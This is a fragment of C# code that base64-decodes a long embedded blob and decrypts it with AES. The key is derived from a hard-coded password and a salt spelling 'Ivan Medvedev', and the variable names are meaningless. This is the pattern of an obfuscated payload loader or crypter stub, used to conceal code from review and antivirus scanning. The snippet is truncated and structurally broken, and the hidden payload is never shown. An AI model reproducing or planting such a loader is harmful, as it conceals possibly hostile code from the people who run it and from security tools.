using System.Collections.ObjectModel;
using System.Security.Cryptography;
public static void Main()
string fre="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";
fre = fre.Replace(" ", "+");
byte[] ytr = Convert.FromBase64String(fre);
using (Aes fru = Aes.Create()) {
Rfc2898DeriveBytes pdb = new Rfc2898DeriveBytes(String.Concat(Enumerable.Repeat("" + 0, 6)), new byte[] { 0x49, 0x76, 0x61, 0x6e, 0x20, 0x4d, 0x65, 0x64, 0x76, 0x65, 0x64, 0x65, 0x76 });
fru.Key = pdb.GetBytes(32); fru.IV = pdb.GetBytes(16);
using (MemoryStream ms = new MemoryStream()) {
using (CryptoStream cs = new CryptoStream(ms, fru.CreateDecryptor(), CryptoStreamMode.Write)){
cs.Write(ytr, 0, ytr.Length);
fre = Encoding.Unicode.GetString(ms.ToArray());